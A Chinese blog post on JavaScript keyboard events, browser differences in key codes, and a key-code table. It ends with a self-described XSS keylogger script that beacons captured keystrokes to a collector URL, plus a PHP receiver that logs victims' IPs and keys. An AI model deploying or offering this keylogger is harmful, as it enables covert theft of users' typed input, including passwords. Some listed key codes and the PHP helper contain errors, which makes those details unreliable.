一、按键事件
二、按键码与按键字符
三、其他按键属性
四、浏览器兼容性总结
五、代码实现
六、总结
一、按键事件
浏览器有三种键盘按键事件:keyup、keydown、keypress,对应的事件处理函数有onkeyup、onkeydown、onkeypress。keypress是在用户按下可打印字符时触发,keydown是在用户按下任意键时触发,keyup是在用户释放按下的任意键时触发。
按一个键时产生的事件依此是keydown、keypress、keyup。三个事件中,keydown和keyup较为底层,keypress较为高级。所谓高级是指keypress会将复合按键(如shift+1)进行解析返回一个可打印的字符(如!),而keydown和keypress只是简单的返回相应的按键。
注意,keypress是存在浏览器兼容性问题的,如在其他浏览器下按下功能键(F1-F12)是不会触发keypress,而在firefox中按下功能键是可以触发的。
现详细描述一下各种浏览器下的按键事件触发情况:
Tab键
- IE: 只触发keydown事件。
- firefox:触发keydown和keypress事件。
- Chrome:
回车键
- IE/Firefox/Chrome下三个按键事件都触发。按键码是13,不过转换成字符后显示为空格,因此在代码中要做处理。
shift键
- 三个浏览器下都只触发keyup和keydown.
alt键
- 三个浏览器下都只触发keyup和keydown.
Caps Lock键
- 三个浏览器下都只触发keyup和keydown.
Backspace后退键
- IE和chrome下,只触发keyup和keydown事件。按键码为8
- firefox下,三个事件都触发。 按键码为8
方向键
- 只触发keyup和keypress事件
二、按键码与按键字符
触发按键事件后,要想获取按键码必须使用事件的属性来获取到底按的是哪个键。获取按键的按键码同样存在着浏览器的兼容性问题:在IE下用事件的keyCode属性,在Firefox下使用.which和charCode属性,在Opera下使用keyCode和which属性,谷歌的话三个都可以。
即:
IE: keyCode存储按键的按键码或字符码(keyup和keydown为按键码,keypress为字符码,下同)
firefox:keyCode始终为0,。在keyup和keydown时,charCode为0,which为按键码。keypress时charCode和which一样存储字符码。
Opera: keyCode和which始终相同,存储按键码或字符码。
因此,为了要兼容浏览器,可以采取下面的代码来完美获取信息:
document.onkeypress=function(ev) { var oEvent=window.event||ev; var cChar=oEvent.keyCode||oEvent.which||oEvent.charCode; cChar=String.fromCharCode(cChar); }
其中,String.fromCharCode()函数可以将按键码或字符码转换成为相应的字符。
按键码的对应关系:
A <——–> 65
B <——–> 66
C <——–> 67
D <——–> 68
E <——–> 69
F <——–> 70
G <——–> 71
H <——–> 72
I <——–> 73
J <——–> 74
K <——–> 75
L <——–> 76
M <——–> 77
N <——–> 78
O <——–> 79
P <——–> 80
Q <——–> 81
R <——–> 82
S <——–> 83
T <——–> 84
U <——–> 85
V <——–> 86
W <——–> 87
X <——–> 88
Y <——–> 89
Z <——–> 90
0 <——–> 48
1 <——–> 49
2 <——–> 50
3 <——–> 51
4 <——–> 52
5 <——–> 53
6 <——–> 54
7 <——–> 55
8 <——–> 56
9 <——–> 57
数字键盘 1 <——–> 96
数字键盘 2 <——–> 97
数字键盘 3 <——–> 98
数字键盘 4 <——–> 99
数字键盘 5 <——–> 100
数字键盘 6 <——–> 101
数字键盘 7 <——–> 102
数字键盘 8 <——–> 103
数字键盘 9 <——–> 104
数字键盘 0 <——–> 105
乘号 <——–> 106
加号 <——–> 107
Enter <——–> 108
减号 <——–> 109
小数点 <——–> 110
除号 <——–> 111
F1 <——–> 112
F2 <——–> 113
F3 <——–> 114
F4 <——–> 115
F5 <——–> 116
F6 <——–> 117
F7 <——–> 118
F8 <——–> 119
F9 <——–> 120
F10 <——–> 121
F11 <——–> 122
F12 <——–> 123
F13 <——–> 124
F14 <——–> 125
F15 <——–> 126
Backspace <——–> 8
Tab <——–> 9
Clear <——–> 12
Enter <——–> 13
Shift <——–> 16
Control <——–> 17
Alt <——–> 18
Caps Lock <——–> 20
Esc <——–> 27
空格键 <——–> 32
Page Up <——–> 33
Page Down <——–> 34
End <——–> 35
Home <——–> 36
左箭头 <——–> 37
向上箭头 <——–> 38
右箭头 <——–> 39
向下箭头 <——–> 40
Insert <——–> 45
Delete <——–> 46
Help <——–> 47
Num Lock <——–> 144
; : <——–> 186
= + <——–> 187
– _ <——–> 189
/ ? <——–> 191
` ~ <——–> 192
[ { <——–> 219
| <——–> 220
] } <——–> 221
” ‘ <——–> 222
三、其他按键属性
事件对象除了keyCode等获取按键码或字符码的属性,还有三个有用属性:ctrlKey/shiftKey/altKey,这三个属性看名称就知道是干什么的,如ctrlKey是检测当前是否按着ctrl键,如果按着ctrl键则ctrlKey就为true。这三个按键属性主要用于检测复合按键。
四、浏览器兼容性总结
在获取键盘按键的过程中要涉及到两处浏览器兼容性问题:一处是事件的获取,一处是事件按键码的获取。总的来说可以用下面的方式来解决(注意,在firefox下必须是window.event否则会报错,因为firefox是通过ev获取的事件):
document.onkeypress=function(ev) { var oEvent=window.event||ev; var cChar=oEvent.keyCode||oEvent.which||oEvent.charCode; cChar=String.fromCharCode(cChar); }
五、代码
说明:退格、制表、回车、空格、
PageUp
、PageDown
、End
、Home、方向键、删除键由于转换为字符时显示有问题,不容易识别,所以在keypress中将其屏蔽(不做处理),将他们放到keydown中处理来以明显的方式显示。
退格:8
制表:9
回车:13
空格:32
PageUp:33
PageDown:34
End:35
Home:36
方向键:37、38、39、40
删除键:46
ps:在实际测试过程中,使用keydown/keyup获取的键值与keypress的不一样,如按个小写a,keypress正常输出a,而keyup/keydown返回大写A。因此,对于可打印字符要使用keypress事件来获取按键值。
代码如下:
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <title>键盘记录</title> <script src="./key.js" ></script> </head> <body style="background:black; color: white; font-size:50px;"> <input type="text" > <div id="div1"> </div> </body> </html>
key.js代码如下:
var sKeys=''; window.onload=function () { document.onkeypress=function(ev) { var oEvent=window.event||ev; var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode; //屏蔽特殊字符,交给onkeydown去处理 var cKey; if((iKey==8) ||(iKey==9) ||(iKey==13) ||(iKey>31 &&iKey<41) ||(iKey==46)) { cKey=''; } else { cKey=String.fromCharCode(iKey); } sKeys+=cKey; }; document.onkeydown=function(ev) { var oEvent=window.event||ev; var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode; //处理特殊字符 var cKey; switch(iKey) { case 8: cKey='[退格]'; break; case 9: cKey='[制表]'; break; case 13: cKey='[回车]'; break; case 32: cKey='[空格]'; break; case 33: cKey='[PageUp]'; break; case 34: cKey='[PageDown]'; break; case 35: cKey='[End]'; break; case 36: cKey='[Home]'; break; case 37: cKey='[向左]'; break; case 38: cKey='[向上]'; break; case 39: cKey='[向右]'; break; case 40: cKey='[向下]'; break; case 46: cKey='[删除]'; break; default: cKey=''; } sKeys+=cKey; }; }; function sendKey() { var oDiv1=document.getElementById('div1'); oDiv1.innerHTML=sKeys; //sKeys=''; } setInterval(sendKey,100);
ps:实际在xss系统中用到的代码如下:
接收端key.php:
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <title>接收键盘信息</title> <?php function getIp() { $ip=false; if(!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip=$_SERVER['HTTP_CLIENT_IP']; } else { $ip=$_SERVER['REMOTE_ADDR']; } } $key=$_GET['key']; //获取按键信息 //获取客户端信息 $referer=$_SERVER['HTTP_REFERER']; $ip=getIp(); $user_agent=$_SERVER['HTTP_USER_AGENT']; $port=$_SERVER['REMOTE_PORT']; $fp=fopen('data.txt','a+'); fwrite($fp,'IP:'.$ip."\r\n"); fwrite($fp,'PORT:'.$port."\r\n"); fwrite($fp,'key:'.$key."\r\n\r\n"); fclose($fp); ?>
js代码(只要以外链的方式嵌入任何页面即可):
var sKeys=''; window.onload=function () { document.onkeypress=function(ev) { var oEvent=window.event||ev; var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode; //屏蔽特殊字符,交给onkeydown去处理 var cKey; if((iKey==8) ||(iKey==9) ||(iKey==13) ||(iKey>31 &&iKey<41) ||(iKey==46)) { cKey=''; } else { cKey=String.fromCharCode(iKey); } sKeys+=cKey; }; document.onkeydown=function(ev) { var oEvent=window.event||ev; var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode; //处理特殊字符 var cKey; switch(iKey) { case 8: cKey='[退格]'; break; case 9: cKey='[制表]'; break; case 13: cKey='[回车]'; break; case 32: cKey='[空格]'; break; case 33: cKey='[PageUp]'; break; case 34: cKey='[PageDown]'; break; case 35: cKey='[End]'; break; case 36: cKey='[Home]'; break; case 37: cKey='[向左]'; break; case 38: cKey='[向上]'; break; case 39: cKey='[向右]'; break; case 40: cKey='[向下]'; break; case 46: cKey='[删除]'; break; default: cKey=''; } sKeys+=cKey; }; }; function sendKey() { if (sKeys !='') { new Image().src="http://localhost/jsstudy/key.php?key="+sKeys; } sKeys=''; } setInterval(sendKey,10000);
六、总结
键盘记录在实际使用过程中用处不大,还不如劫持表单项的各种事件方便,比如表单项的onchange/onblur/onclick等,当发生这些事件后直接读取表单项的值就可以了。同时,键盘记录仅在全英文(ASCII)输入下才有效,在输入时,如果存在中文输入框是记录不了击键事件的。
参考资料:
1、js 实现键盘记录 兼容FireFox和IE http://jinglingshu.org/?p=398
2、onkeypress,onkeydown,onkeyup区别 和 javascript event.keycode值大全 http://wallboy.iteye.com/blog/730228
3、XSS的键盘记录 http://jinglingshu.org/?p=409
4、键盘记录器 《web前段黑客技术揭秘》p219
对中文按键的获取参考以下文章:
1、http://calefy.org/2012/11/12/javascript-key-events-and-input-control.html
2、http://www.cnblogs.com/owenChen/p/3215421.html
转载请注明:jinglingshu的博客 » JS键盘记录学习